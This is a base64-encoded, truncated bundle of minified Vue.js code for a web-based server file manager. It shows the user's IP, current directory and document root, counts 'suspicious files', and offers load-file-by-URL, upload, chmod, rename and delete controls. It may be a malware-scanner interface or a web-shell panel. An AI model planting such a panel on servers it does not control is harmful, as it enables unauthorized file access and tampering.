ZXJIVE1MIl0saWQ9UGUoKCk9PmQoImRpdiIse2NsYXNzOiJzY3JvbGwtd2lkdGgifSxudWxsLC0xKSksbGQ9e2NsYXNzOiJzZWFyY2hib3gifSxjZD17Y2xhc3M6ImZpdmUifSxhZD1QZSgoKT0+ZCgibGFiZWwiLHtmb3I6Ik1haW4tc2VhcmNoX3N0cmluZyJ9LCIjOiIsLTEpKSx1ZD1QZSgoKT0+ZCgibGFiZWwiLHtmb3I6InNob3dfZGlycyJ9LCJTaG93IGRpcmVjdG9yaWVzIiwtMSkpLGZkPVBlKCgpPT5kKCJsYWJlbCIse2Zvcjoic2Nhbl9zdWJkaXJzIn0sIlNjYW4gc3ViZGlycyIsLTEpKSxkZD17a2V5OjB9LGhkPXtrZXk6Mn0sX2Q9UGUoKCk9PmQoImRpdiIse2NsYXNzOiJzY3JvbGwtd2lkdGgifSxudWxsLC0xKSkscGQ9e2NsYXNzOiJvbmUgY2VudCBmYWRlZCBmaWxlX2luZGV4In0sZ2Q9WyJ2YWx1ZSJdLG1kPXtjbGFzczoidGhyZWUgdGV4dC1vdmVyZmxvdyBmaWxlLW5hbWUifSx2ZD1bIm9uQ2xpY2siXSx5ZD17a2V5OjAsY2xhc3M6ImZpbGUtYWN0aW9ucyJ9LHdkPVsib25DbGljayJdLGJkPXtrZXk6MCx0aXRsZToiUGFzdGUiLGNsYXNzOiJlZGl0In0sRWQ9e2tleToxfSxTZD17a2V5OjB9LElkPXtrZXk6ImJ0bi1zYXZlIixjbGFzczoiYnV0dG9uLXNhdmUgZ3JlZW4iLHRpdGxlOiJyZW5hbWUifSxDZD1bIm9uQ2xpY2siXSxrZD1bIm9uQ2xpY2siXSxPZD17a2V5OjEsY2xhc3M6ImZpbGUtYWN0aW9ucyJ9LHhkPXtjbGFzczp6KFsib25lIiwiZWRpdCJdKX0sVGQ9UGUoKCk9PmQoInNwYW4iLHtjbGFzczp6KFsib25lIl0pfSwiwqAiLC0xKSksQWQ9UGUoKCk9PmQoInNwYW4iLHtjbGFzczoidHdvIGNlbnQifSxudWxsLC0xKSksTWQ9WyJ0aXRsZSJdLExkPXtjbGFzczoib25lIn0sRmQ9e2tleTowLGNsYXNzOiJyZWQiLHRpdGxlOiJSZWFkb25seSJ9LERkPXtrZXk6MSxjbGFzczoiZ3JlZW4iLHRpdGxlOiJXcml0YWJsZSJ9LCRkPVBlKCgpPT5kKCJzcGFuIix7Y2xhc3M6Im9uZSByaWdodCJ9LG51bGwsLTEpKSxSZD17Y2xhc3M6Im9uZSBkYXRldGltZSJ9LE5kPXtjbGFzczoib25lIGRhdGV0aW1lIn0sUGQ9e2NsYXNzOiJvbmUgY2VudCBmYWRlZCJ9LFVkPVsidmFsdWUiXSxIZD1bInRpdGxlIl0sVmQ9WyJvbkNsaWNrIiwidGl0bGUiXSxqZD17Y2xhc3M6ImZpbGUtYWN0aW9ucyJ9LEJkPVsiaHJlZiJdLEdkPVsib25DbGljayJdLEtkPVsib25DbGljayJdLHpkPVsib25DbGljayJdLFdkPXtrZXk6MH0sSmQ9e2tleToiYnRuLXNhdmUiLGNsYXNzOiJidXR0b24tc2F2ZSBncmVlbiIsdGl0bGU6InJlbmFtZSJ9LFlkPVsib25DbGljayJdLHFkPVsib25DbGljayJdLFhkPXtjbGFzczoib25lIn0sWmQ9WyJ0aXRsZSJdLFFkPXtjbGFzczoib25lIn0sZWg9e2tleTowLGNsYXNzOiJyZWQiLHRpdGxlOiJSZWFkb25seSJ9LHRoPXtrZXk6MSxjbGFzczoiZ3JlZW4iLHRpdGxlOiJXcml0YWJsZSJ9LG5oPXtjbGFzczoib25lIHJpZ2h0In0sc2g9WyJ0aXRsZSJdLHJoPXtjbGFzczoib25lIGRhdGV0aW1lIn0sb2g9WyJ0aXRsZSJdLGloPXtjbGFzczoib25lIGRhdGV0aW1lIn0sbGg9WyJ0aXRsZSJdLGNoPXtjbGFzczoidGFicyJ9LGFoPVBlKCgpPT5kKCJkaXYiLHtjbGFzczoicGxhY2Vob2xkZXIgcGxhY2Vob2xkZXJfZml4XzFyZW0ifSxudWxsLC0xKSksdWg9UGUoKCk9PmQoImRpdiIse2NsYXNzOiJwbGFjZWhvbGRlciJ9LG51bGwsLTEpKTtmdW5jdGlvbiBmaChlLHQsbixzLG8scil7Y29uc3QgaT1PZixsPUVmLGM9bWYsZj1kZixfPWxmLGc9dGYsdj1xdSxUPUt1LHE9SHUsSj0kdSxHPUF1LHRlPUN1LHZlPXd1LFg9cHUsWj1hdSx1ZT1ydSxqPXFvLGxlPVlvLE49Sm8sbmU9WmMsc2U9V2M7cmV0dXJuIFMoKSxrKCJkaXYiLE1mLFtkKCJkaXYiLExmLFtkKCJhIixGZixbZCgic3BhbiIsRGYsVyhyLnRpdGxlKyIgdiIrci52ZXJzaW9uKSwxKV0pLCRmLFAoIiBZb3VyIElQOiAiK1coZS4kc3RvcmUuc3RhdGUuZmlsZXMubXlfaXApKyIgIiwxKSxkKCJkaXYiLG51bGwsW2dlKGQoImRpdiIsUmYsbnVsbCw1MTIpLFtbbXQsci53b3JraW5nPjBdXSldKV0pLGQoImRpdiIsTmYsW2QoImRpdiIsUGYsW2QoImRpdiIse2lkOiJtYWluX2luZm8iLGNsYXNzOnooeyJkaXNhYmxlLW1lIjpyLndvcmtpbmc+MH0pfSxbZCgicCIse2NsYXNzOnooWyJkaXIiLHtyZWFkb25seTohZS4kc3RvcmUuc3RhdGUuZmlsZXMud3JpdGFibGV9XSl9LFtQKCIgQ1dEOiAvICIpLChTKCEwKSxrKG1lLG51bGwsZXQoci5wYXJlbnREaXJzLGE9PihTKCksaygic3BhbiIse2tleTphLnBhdGh9LFtkKCJhIix7aHJlZjoiIyIsb25DbGljazpwPT5yLnNldERpcmVjdG9yeShhLnBhdGgpfSxXKGEubmFtZSksOSxVZiksUCgiLyIpXSkpKSwxMjgpKSxnZShkKCJpbnB1dCIse2NsYXNzOiJuaWNlX2lucHV0Iix0eXBlOiJ0ZXh0IixwbGFjZWhvbGRlcjoiaGVyZS93ZS9nbyIsIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbMF18fCh0WzBdPWE9PmUuaGVyZV93ZV9nbz1hKSxvbktleWRvd246W3RbMV18fCh0WzFdPUVlKCgpPT57fSxbInN0b3AiXSkpLHRbMl18fCh0WzJdPWtlKCgpPT57ZS5oZXJlX3dlX2dvPSIiLGUuJHJlZnMuaGVyZV93ZV9nby5ibHVyKCl9LFsiZXNjIl0pKSx0WzNdfHwodFszXT1rZShFZShhPT5yLmhlcmVXZUdvKGUuaGVyZV93ZV9nbyksWyJzdG9wIl0pLFsiZW50ZXIiXSkpXSxyZWY6ImhlcmVfd2VfZ28ifSxudWxsLDU0NCksW1tqZSxlLmhlcmVfd2VfZ29dXSksZS4kc3RvcmUuc3RhdGUuZmlsZXMud3JpdGFibGU/KFMoKSxrKCJzcGFuIixWZiwiKFdyaXRlYWJsZSkiKSk6KFMoKSxrKCJzcGFuIixIZiwiKFJlYWRvbmx5KSIpKSxkKCJzcGFuIix7Y2xhc3M6eihbInRvb2wiLHsic2VsZWN0ZWQtdG9vbCI6ZS51cGxvYWRfYnlfdXJsX2RpYWxvZ192aXNpYmxlfV0pfSxbJChpLHtjbGFzczoiZWRpdCIsb25DbGljazpyLnNob3dVcGxvYWRCeVVSTCx0aXRsZToiTG9hZCBmaWxlIGJ5IFVSTCJ9LHtkZWZhdWx0OmFlKCgpPT5bUCgiTG9hZCBmaWxlIGJ5IFVSTCIpXSksXzoxfSw4LFsib25DbGljayJdKSxlLnVwbG9hZF9ieV91cmxfZGlhbG9nX3Zpc2libGU/KFMoKSxrKCJzcGFuIixqZixbZ2UoZCgiaW5wdXQiLHtwbGFjZWhvbGRlcjoiZmlsZSBuYW1lIiwib25VcGRhdGU6bW9kZWxWYWx1ZSI6dFs0XXx8KHRbNF09YT0+ZS5tb2RfbmFtZT1hKSx0eXBlOiJ0ZXh0IixjbGFzczp6KFsibmljZV9pbnB1dCIseyJiYWQtaW5wdXQiOmUubW9kX25hbWU9PT0iIn1dKSxvbktleWRvd246W3RbNV18fCh0WzVdPUVlKCgpPT57fSxbInN0b3AiXSkpLHRbNl18fCh0WzZdPWtlKEVlKCguLi5hKT0+ci51cGxvYWRCeVVSTCYmci51cGxvYWRCeVVSTCguLi5hKSxbInN0b3AiXSksWyJlbnRlciJdKSldLG9uS2V5dXA6dFs3XXx8KHRbN109a2UoKC4uLmEpPT5yLnJlc2V0RGlhbG9ncyYmci5yZXNldERpYWxvZ3MoLi4uYSksWyJlc2MiXSkpfSxudWxsLDM0KSxbW2plLGUubW9kX25hbWVdXSksZ2UoZCgiaW5wdXQiLHtwbGFjZWhvbGRlcjoiaHR0cDovLy4uIiwib25VcGRhdGU6bW9kZWxWYWx1ZSI6dFs4XXx8KHRbOF09YT0+ZS51cGxvYWRfdXJsPWEpLHR5cGU6InRleHQiLGNsYXNzOnooWyJuaWNlX2lucHV0Iix7ImJhZC1pbnB1dCI6ZS51cGxvYWRfdXJsPT09IiJ9XSksb25LZXlkb3duOlt0WzldfHwodFs5XT1FZSgoKT0+e30sWyJzdG9wIl0pKSx0WzEwXXx8KHRbMTBdPWtlKEVlKCguLi5hKT0+ci51cGxvYWRCeVVSTCYmci51cGxvYWRCeVVSTCguLi5hKSxbInN0b3AiXSksWyJlbnRlciJdKSldLG9uS2V5dXA6dFsxMV18fCh0WzExXT1rZSgoLi4uYSk9PnIucmVzZXREaWFsb2dzJiZyLnJlc2V0RGlhbG9ncyguLi5hKSxbImVzYyJdKSl9LG51bGwsMzQpLFtbamUsZS51cGxvYWRfdXJsXV0pLGQoInNwYW4iLHtrZXk6ImJ0bi1jbG9zZSIsY2xhc3M6ImJ1dHRvbi1jbG9zZSIsb25DbGljazp0WzEyXXx8KHRbMTJdPSguLi5hKT0+ci5yZXNldERpYWxvZ3MmJnIucmVzZXREaWFsb2dzKC4uLmEpKX0sWyQobCx7Y2xhc3M6InJlZCJ9LHtkZWZhdWx0OmFlKCgpPT5bUCgiY2xvc2UiKV0pLF86MX0pXSksZCgic3BhbiIse2tleToiYnRuLXNhdmUiLGNsYXNzOiJidXR0b24tc2F2ZSIsb25DbGljazp0WzEzXXx8KHRbMTNdPSguLi5hKT0+ci51cGxvYWRCeVVSTCYmci51cGxvYWRCeVVSTCguLi5hKSksdGl0bGU6IkxvYWQifSxbJChjLHtjbGFzczp6KHtncmV5OmUubW9kX25hbWU9PT0iInx8ZS51cGxvYWRfdXJsPT09IiJ9KX0se2RlZmF1bHQ6YWUoKCk9PltQKCJzYXZlIildKSxfOjF9LDgsWyJjbGFzcyJdKV0pXSkpOiRlKCIiLCEwKV0sMiksZCgibGFiZWwiLEJmLFskKGYse2NsYXNzOiJlZGl0In0se2RlZmF1bHQ6YWUoKCk9PltQKCJVcGxvYWQgZmlsZSIpXSksXzoxfSldKSxkKCJpbnB1dCIse3R5cGU6ImZpbGUiLG5hbWU6ImZpbGVzW10iLHJlZjoiZmlsZXNfaW5wdXQiLG11bHRpcGxlOiIiLGlkOiJmaWxlcyIsb25DaGFuZ2U6dFsxNF18fCh0WzE0XT0oLi4uYSk9PnIudXBsb2FkRmlsZXMmJnIudXBsb2FkRmlsZXMoLi4uYSkpfSxudWxsLDU0NCksZCgic3BhbiIse2NsYXNzOnooWyJ0b29sIix7InNlbGVjdGVkLXRvb2wiOmUubWtkaXJfZGlhbG9nX3Zpc2libGV9XSl9LFskKF8se29uQ2xpY2s6ci5zaG93TWtEaXIsdGl0bGU6Ik1ha2UgZGlyZWN0b3J5In0se2RlZmF1bHQ6YWUoKCk9PltQKCJNYWtlIGRpcmVjdG9yeSIpXSksXzoxfSw4LFsib25DbGljayJdKSxlLm1rZGlyX2RpYWxvZ192aXNpYmxlPyhTKCksaygic3BhbiIsR2YsW2dlKGQoImlucHV0Iix7cGxhY2Vob2xkZXI6ImRpcmVjdG9yeSBuYW1lIiwib25VcGRhdGU6bW9kZWxWYWx1ZSI6dFsxNV18fCh0WzE1XT1hPT5lLm1vZF9uYW1lPWEpLGNsYXNzOnooW3siYmFkLWlucHV0IjplLm1vZF9uYW1lPT09IiJ9LCJuaWNlX2lucHV0Il0pLHR5cGU6InRleHQiLG9uS2V5ZG93bjpbdFsxNl18fCh0WzE2XT1FZSgoKT0+e30sWyJzdG9wIl0pKSx0WzE3XXx8KHRbMTddPWtlKEVlKCguLi5hKT0+ci5ta0RpciYmci5ta0RpciguLi5hKSxbInN0b3AiXSksWyJlbnRlciJdKSldLG9uS2V5dXA6dFsxOF18fCh0WzE4XT1rZSgoLi4uYSk9PnIucmVzZXREaWFsb2dzJiZyLnJlc2V0RGlhbG9ncyguLi5hKSxbImVzYyJdKSl9LG51bGwsMzQpLFtbamUsZS5tb2RfbmFtZV1dKSxkKCJzcGFuIix7a2V5OiJidG4tY2xvc2UiLGNsYXNzOiJidXR0b24tY2xvc2UiLG9uQ2xpY2s6dFsxOV18fCh0WzE5XT0oLi4uYSk9PnIucmVzZXREaWFsb2dzJiZyLnJlc2V0RGlhbG9ncyguLi5hKSl9LFskKGwse2NsYXNzOiJyZWQifSx7ZGVmYXVsdDphZSgoKT0+W1AoIkNhbmNlbCIpXSksXzoxfSldKSxkKCJzcGFuIix7a2V5OiJidG4tc2F2ZSIsY2xhc3M6ImJ1dHRvbi1zYXZlIixvbkNsaWNrOnRbMjBdfHwodFsyMF09KC4uLmEpPT5yLm1rRGlyJiZyLm1rRGlyKC4uLmEpKSx0aXRsZToiQ3JlYXRlIGRpcmVjdG9yeSJ9LFskKGMse2NsYXNzOnooe2dyZXk6ZS5tb2RfbmFtZT09PSIifSl9LHtkZWZhdWx0OmFlKCgpPT5bUCgiU2F2ZSIpXSksXzoxfSw4LFsiY2xhc3MiXSldKV0pKTokZSgiIiwhMCldLDIpLGQoInNwYW4iLHtjbGFzczp6KFsidG9vbCIseyJzZWxlY3RlZC10b29sIjplLm1rZmlsZV9kaWFsb2dfdmlzaWJsZX1dKX0sWyQoZyx7b25DbGljazpyLnNob3dNa0ZpbGUsdGl0bGU6Ik1ha2UgZmlsZSJ9LHtkZWZhdWx0OmFlKCgpPT5bUCgiTWFrZSBmaWxlIildKSxfOjF9LDgsWyJvbkNsaWNrIl0pLGUubWtmaWxlX2RpYWxvZ192aXNpYmxlPyhTKCksaygic3BhbiIsS2YsW2dlKGQoImlucHV0Iix7cGxhY2Vob2xkZXI6ImZpbGUgbmFtZSIsY2xhc3M6eihbeyJiYWQtaW5wdXQiOmUubW9kX25hbWU9PT0iIn0sIm5pY2VfaW5wdXQiXSksIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbMjFdfHwodFsyMV09YT0+ZS5tb2RfbmFtZT1hKSx0eXBlOiJ0ZXh0IixvbktleWRvd246W3RbMjJdfHwodFsyMl09RWUoKCk9Pnt9LFsic3RvcCJdKSksdFsyM118fCh0WzIzXT1rZShFZSgoLi4uYSk9PnIubWtGaWxlJiZyLm1rRmlsZSguLi5hKSxbInN0b3AiXSksWyJlbnRlciJdKSldLG9uS2V5dXA6dFsyNF18fCh0WzI0XT1rZSgoLi4uYSk9PnIucmVzZXREaWFsb2dzJiZyLnJlc2V0RGlhbG9ncyguLi5hKSxbImVzYyJdKSl9LG51bGwsMzQpLFtbamUsZS5tb2RfbmFtZV1dKSx6ZixkKCJzcGFuIix7Y2xhc3M6ImJ1dHRvbi1jbG9zZSIsb25DbGljazp0WzI1XXx8KHRbMjVdPSguLi5hKT0+ci5yZXNldERpYWxvZ3MmJnIucmVzZXREaWFsb2dzKC4uLmEpKX0sWyQobCx7Y2xhc3M6InJlZCJ9LHtkZWZhdWx0OmFlKCgpPT5bUCgiQ2FuY2VsIildKSxfOjF9KV0pLGQoInNwYW4iLHtjbGFzczoiYnV0dG9uLXNhdmUiLG9uQ2xpY2s6dFsyNl18fCh0WzI2XT0oLi4uYSk9PnIubWtGaWxlJiZyLm1rRmlsZSguLi5hKSksdGl0bGU6IkNyZWF0ZSBmaWxlIn0sWyQoYyx7Y2xhc3M6eih7Z3JleTplLm1vZF9uYW1lPT09IiJ9KX0se2RlZmF1bHQ6YWUoKCk9PltQKCJTYXZlIildKSxfOjF9LDgsWyJjbGFzcyJdKV0pXSkpOiRlKCIiLCEwKV0sMiksZCgic3BhbiIse2NsYXNzOnooWyJ0b29sIix7InNlbGVjdGVkLXRvb2wiOmUuY2htb2RfZGlhbG9nX3Zpc2libGV9XSl9LFskKHYse29uQ2xpY2s6ci5zaG93Q2htb2QsdGl0bGU6ImNobW9kIn0sbnVsbCw4LFsib25DbGljayJdKSxlLmNobW9kX2RpYWxvZ192aXNpYmxlPyhTKCksaygic3BhbiIsV2YsW2dlKGQoImlucHV0Iix7cGxhY2Vob2xkZXI6ImZpbGUgbmFtZSIsY2xhc3M6eihbeyJiYWQtaW5wdXQiOmUuY2htb2RfdmFsdWU9PT0iIn0sIm5pY2VfaW5wdXQiXSksIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbMjddfHwodFsyN109YT0+ZS5jaG1vZF92YWx1ZT1hKSx0eXBlOiJ0ZXh0IixvbktleWRvd246W3RbMjhdfHwodFsyOF09RWUoKCk9Pnt9LFsic3RvcCJdKSksdFsyOV18fCh0WzI5XT1rZShFZSgoKT0+e30sWyJzdG9wIl0pLFsiZW50ZXIiXSkpXSxvbktleXVwOnRbMzBdfHwodFszMF09a2UoKC4uLmEpPT5yLnJlc2V0RGlhbG9ncyYmci5yZXNldERpYWxvZ3MoLi4uYSksWyJlc2MiXSkpfSxudWxsLDM0KSxbW2plLGUuY2htb2RfdmFsdWVdXSksZCgic3BhbiIse2NsYXNzOiJidXR0b24tY2xvc2UiLG9uQ2xpY2s6dFszMV18fCh0WzMxXT0oLi4uYSk9PnIucmVzZXREaWFsb2dzJiZyLnJlc2V0RGlhbG9ncyguLi5hKSl9LFskKGwse2NsYXNzOiJyZWQifSx7ZGVmYXVsdDphZSgoKT0+W1AoIkNhbmNlbCIpXSksXzoxfSldKSxkKCJzcGFuIix7Y2xhc3M6ImJ1dHRvbi1zYXZlIixvbkNsaWNrOnRbMzJdfHwodFszMl09KC4uLmEpPT5yLmNobW9kQ3VyRGlyJiZyLmNobW9kQ3VyRGlyKC4uLmEpKSx0aXRsZToiQ3JlYXRlIGZpbGUifSxbJChjLHtjbGFzczp6KHtncmV5OmUubW9kX25hbWU9PT0iIn0pfSx7ZGVmYXVsdDphZSgoKT0+W1AoIlNhdmUiKV0pLF86MX0sOCxbImNsYXNzIl0pXSldKSk6JGUoIiIsITApXSwyKSxkKCJzcGFuIix7b25DbGljazp0WzMzXXx8KHRbMzNdPSguLi5hKT0+ci5nZXRNYWluSW5mbyYmci5nZXRNYWluSW5mbyguLi5hKSksdGl0bGU6IlJlZnJlc2gifSxbJChULG51bGwse2RlZmF1bHQ6YWUoKCk9PltQKCJSZWZyZXNoIildKSxfOjF9KV0pXSwyKSxkKCJwIixudWxsLFtkKCJzcGFuIixKZiwiRmlsZXMgdG90YWw6ICIrVyhyLm9ubHlGaWxlcy5sZW5ndGgpLDEpLFAoIiwgIiksZCgic3BhbiIsWWYsIlN1c3BpY2lvdXMgRmlsZXM6ICIrVyhyLnN1c3BpY2lvdXNGaWxlcy5sZW5ndGgpLDEpLFAoIiwgIiksZCgic3BhbiIscWYsW1AoIkRvYyByb290OiAiKSxkKCJhIix7b25DbGljazp0WzM0XXx8KHRbMzRdPWE9PnIuaGVyZVdlR28oZS4kc3RvcmUuc3RhdGUuZmlsZXMucm9vdF9kaXJlY3RvcnkpKSxocmVmOiIjIn0sVyhlLiRzdG9yZS5zdGF0ZS5maWxlcy5yb290X2RpcmVjdG9yeSksMSldKSxQKCIsICIpLGQoInNwYW4iLFhmLFtkKCJhIix7aHJlZjpyLmN1cnJlbnRJbmRleFBhZ2V9LFcoci5jdXJyZW50SW5kZXhQYWdlKSw5LFpmKSxQKCksZCgiYSIse2hyZWY6ci5jdXJyZW50SW5kZXhQYWdlfSxbJChxKV0sOCxRZildKV0pXSwyKSxkKCJ1bCIsZWQsW2QoImxpIix0ZCxbZCgiZGl2IixuZCxbZS5tX2ZpbGVzLmxlbmd0aCE9PTA/KFMoKSxrKCJzcGFuIixzZCxbUCgiICo6IiksJChKLHt0aXRsZToiRGVsZXRlIHNlbGVjdGVkIGZpbGVzIixjbGFzczoicmVkIixvbkNsaWNrOnIuZGVsZXRlTUZpbGVzfSx7ZGVmYXVsdDphZSgoKT0+W1AoIkRlbGV0ZSIpXSksXzoxfSw4LFsib25DbGljayJdKV0pKTooUygpLGsoInNwYW4iLHJkLCIgKTopICIpKSwoUyghMCksayhtZSxudWxsLGV0KGUudGFibGUuY29sdW1ucywoYSxwKT0+KFMoKSxrKCJzcGFuIix7a2V5OnAsY2xhc3M6eihhWzFdKX0sW3Iuc29ydF9rZXk9PT1wPyhTKCksayhtZSx7a2V5OjB9LFtnZShkKCJhIixudWxsLCLihpEiLDUxMiksW1ttdCxyLnJldmVyc2U9PT0xXV0pLGdlKGQoImEiLG51bGwsIuKGkyIsNTEyKSxbW210LHIucmV2ZXJzZT09PS0xXV0pXSw2NCkpOiRlKCIiLCEwKSxkKCJhIix7b25DbGljazp5PT5yLm5vd1NvcnQocCksaW5uZXJIVE1MOmFbMF19LG51bGwsOCxvZCldLDIpKSksMTI4KSldKSxpZF0pLGQoImxpIixsZCxbZCgic3BhbiIsY2QsW2QoInNwYW4iLG51bGwsW2FkLGdlKGQoImlucHV0Iix7Y2xhc3M6Im5pY2VfaW5wdXQiLG9uS2V5ZG93bjpbdFszNV18fCh0WzM1XT1FZSgoKT0+e30sWyJzdG9wIl0pKSx0WzM2XXx8KHRbMzZdPWtlKGE9PntyLnNlYXJjaF9zdHJpbmc9IiIsZS4kcmVmcy5zZWFyY2hfc3RyaW5nLmJsdXIoKX0sWyJlc2MiXSkpXSwib25VcGRhdGU6bW9kZWxWYWx1ZSI6dFszN118fCh0WzM3XT1hPT5yLnNlYXJjaF9zdHJpbmc9YSksaWQ6Ik1haW4tc2VhcmNoX3N0cmluZyIscGxhY2Vob2xkZXI6InNlYXJjaC4uLiIscmVmOiJzZWFyY2hfc3RyaW5nIn0sbnVsbCw1NDQpLFtbamUsci5zZWFyY2hfc3RyaW5nXV0pLFAoIsKgICIpXSksZCgic3BhbiIsbnVsbCxbZ2UoZCgiaW5wdXQiLHtpZDoic2hvd19kaXJzIix0eXBlOiJjaGVja2JveCIsIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbMzhdfHwodFszOF09YT0+ZS5zaG93RGlyZWN0b3JpZXM9YSl9LG51bGwsNTEyKSxbW2RuLGUuc2hvd0RpcmVjdG9yaWVzXV0pLHVkXSksZCgic3BhbiIsbnVsbCxbZ2UoZCgiaW5wdXQiLHtpZDoic2Nhbl9zdWJkaXJzIix0eXBlOiJjaGVja2JveCIsIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbMzldfHwodFszOV09YT0+ci5zY2FuU3ViZGlycz1hKX0sbnVsbCw1MTIpLFtbZG4sci5zY2FuU3ViZGlyc11dKSxmZF0pXSksZCgicCIsbnVsbCxbUCgiIFNob3c6IFsiKSxyLmZpbHRlck1vZGU9PT0ic3VzcGljaW91cyI/KFMoKSxrKCJzcGFuIixkZCwic3VzcGljaW91cyIpKTooUygpLGsoImEiLHtrZXk6MSxocmVmOiIjIixvbkNsaWNrOnRbNDBdfHwodFs0MF09YT0+ci5maWx0ZXJNb2RlPSJzdXNwaWNpb3VzIil9LCJzdXNwaWNpb3VzIikpLFAoIl0sIFsiKSxyLmZpbHRlck1vZGU9PT0iYWxsIj8oUygpLGsoInNwYW4iLGhkLCJhbGwiKSk6KFMoKSxrKCJhIix7a2V5OjMsaHJlZjoiIyIsb25DbGljazp0WzQxXXx8KHRbNDFdPWE9PnIuZmlsdGVyTW9kZT0iYWxsIil9LCJhbGwiKSksUCgiXSAiKV0pLF9kXSldKSxlLnNob3dEaXJlY3Rvcmllcz8oUygpLGsoInVsIix7a2V5OjAsY2xhc3M6eih7ImRpc2FibGUtbWUiOnIud29ya2luZz4wfSksaWQ6ImZpbGVzLWxpc3QifSxbKFMoITApLGsobWUsbnVsbCxldChyLmZpbHRlcmVkRGlycywoYSxwKT0+KFMoKSxrKCJsaSIse2tleTphLmZ1bGxfcGF0aCxjbGFzczoibXlncmlkIGxpc3QtY29tcGxldGUtaXRlbSBkaXIifSxbZCgic3BhbiIscGQsW2dlKGQoImlucHV0Iix7dHlwZToiY2hlY2tib3giLG5hbWU6Im1fZmlsZXNbXSIsIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbNDJdfHwodFs0Ml09eT0+ZS5tX2ZpbGVzPXkpLHZhbHVlOmEuZnVsbF9wYXRofSxudWxsLDgsZ2QpLFtbZG4sZS5tX2ZpbGVzXV0pLFAoIiAjIitXKGUubmljZUludE51bWJlcihwKzEsIjAwMCIpKSwxKV0pLGQoInNwYW4iLG1kLFtkKCJhIix7aHJlZjoiIyIsb25DbGljazp5PT5yLmhlcmVXZUdvKGEuZnVsbF9wYXRoKX0sVyhhLmJhc2VfbmFtZSksOSx2ZCldKSxhLmJhc2VfbmFtZSE9PSIuLiI/KFMoKSxrKCJzcGFuIix5ZCxbZCgiYSIsbnVsbCxbJChHKV0pLGQoImEiLG51bGwsWyQoRyldKSxkKCJhIix7dGl0bGU6IkNvcHkiLGNsYXNzOiJlZGl0IixvbkNsaWNrOnk9PmUuY29waWVkX2ZpbGU9YS5mdWxsX3BhdGh9LFskKHRlKV0sOCx3ZCksZS5jb3BpZWRfZmlsZSYmZS5jb3BpZWRfZmlsZSE9PWEuZnVsbF9wYXRoPyhTKCksaygiYSIsYmQsWyQodmUpXSkpOihTKCksaygiYSIsRWQsWyQoRyldKSksZCgic3BhbiIsbnVsbCxbZS5iZWluZ19lZGl0ZWRfZmlsZSYmYS5mdWxsX3BhdGg9PT1lLmJlaW5nX2VkaXRlZF9maWxlLmZ1bGxfcGF0aD8oUygpLGsoInNwYW4iLFNkLFtnZShkKCJpbnB1dCIse3R5cGU6InRleHQiLGNsYXNzOiJuaWNlX2lucHV0IixwbGFjZWhvbGRlcjoiZmlsZSBuYW1lIiwib25VcGRhdGU6bW9kZWxWYWx1ZSI6dFs0M118fCh0WzQzXT15PT5lLnJlbmFtZV9uZXdfbmFtZT15KX0sbnVsbCw1MTIpLFtbamUsZS5yZW5hbWVfbmV3X25hbWVdXSksZCgic3BhbiIse2tleToiYnRuLWNsb3NlIixjbGFzczoiYnV0dG9uLWNsb3NlIixvbkNsaWNrOnRbNDRdfHwodFs0NF09eT0+ZS5iZWluZ19lZGl0ZWRfZmlsZT1udWxsKX0sWyQobCx7Y2xhc3M6InJlZCJ9LHtkZWZhdWx0OmFlKCgpPT5bUCgiQ2FuY2VsIildKSxfOjF9KV0pLGQoInNwYW4iLElkLFskKGMse29uQ2xpY2s6eT0+ci5yZW5hbWVGaWxlKGEpLGNsYXNzOnooe2dyZXk6ZS5yZW5hbWVfbmV3X25hbWU9PT1hLmJhc2VfbmFtZXx8ZS5yZW5hbWVfbmV3X25hbWU9PT0iIn0pfSx7ZGVmYXVsdDphZSgoKT0+W1AoIlJlTmFtZSIpXSksXzoyfSwxMDMyLFsib25DbGljayIsImNsYXNzIl0pXSldKSk6KFMoKSxrKCJhIix7a2V5OjEsdGl0bGU6IlJlbmFtZSIsb25DbGljazp5PT57ZS5iZWluZ19lZGl0ZWRfZmlsZT1hLGUucmVuYW1lX25ld19uYW1lPWEuYmFzZV9uYW1lfSxjbGFzczoicmVuYW1lIn0sWyQoWCldLDgsQ2QpKV0pLGQoImEiLHt0aXRsZToiRGVsZXRlIixjbGFzczoicmVkIixocmVmOiIjIixvbkNsaWNrOnk9PnIuZGVsZXRlRmlsZShhKX0sWyQoSildLDgsa2QpXSkpOihTKCksaygic3BhbiIsT2QsW2QoImEiLG51bGwsWyQoRyldKSxkKCJhIixudWxsLFskKEcpXSksZCgiYSIsbnVsbCxbJChHKV0pLGQoImEiLG51bGwsWyQoRyldKSxkKCJhIixudWxsLFskKEcpXSksZCgiYSIsbnVsbCxbJChHKV0pXSkpLGQoInNwYW4iLHhkLFtkKCJzdHJvbmciLG51bGwsVyhhLnR5cGUpLDEpXSksVGQsQWQsZCgic3BhbiIse2NsYXNzOiJvbmUgY2VudCIsdGl0bGU6ZS5vd25lcl9pZD09PWEub3duZXJfaWQ/InNhbWUgb3duZXIiOiJkaWZmZXJlbnQgb3duZXIifSxXKGEub3duZXIrIigiK2Eub3duZXJfaWQrIikiKSw5LE1kKSxkKCJzcGFuIixMZCxbZCgic3Ryb25nIixudWxsLFcoYS5wZXJtaXNzaW9ucyksMSksYS53cml0YWJsZT8oUygpLGsoInN0cm9uZyIsRGQsIlciKSk6KFMoKSxrKCJzdHJvbmciLEZkLCJSIikpXSksJGQsZCgic3BhbiIsUmQsW2QoImEiLG51bGwsVyhhLmxhc3RfYWNjZXNzZWQpLDEpXSksZCgic3BhbiIsTmQsW2QoImEiLG51bGwsVyhhLmxhc3RfbW9kaWZpZWQpLDEpXSldKSkpLDEyOCkpLChTKCEwKSxrKG1lLG51bGwsZXQoci5maWx0ZXJlZEZpbGVzLChhLHApPT4oUygpLGsobWUse2tleTphLmZ1bGxfcGF0aH0sW2QoImxpIix7Y2xhc3M6eihbIm15Z3JpZCBsaXN0LWNvbXBsZXRlLWl0ZW0iLHtldmVuOnAlMj09PTEsc2VsZWN0ZWQ6ci5zZWxlY3RlZEZpbGUmJnIuc2VsZWN0ZWRGaWxlLmZ1bGxfcGF0aD09PWEuZnVsbF9wYXRofV0pfSxbZCgic3BhbiIsUGQsW2dlKGQoImlucHV0Iix7dHlwZToiY2hlY2tib3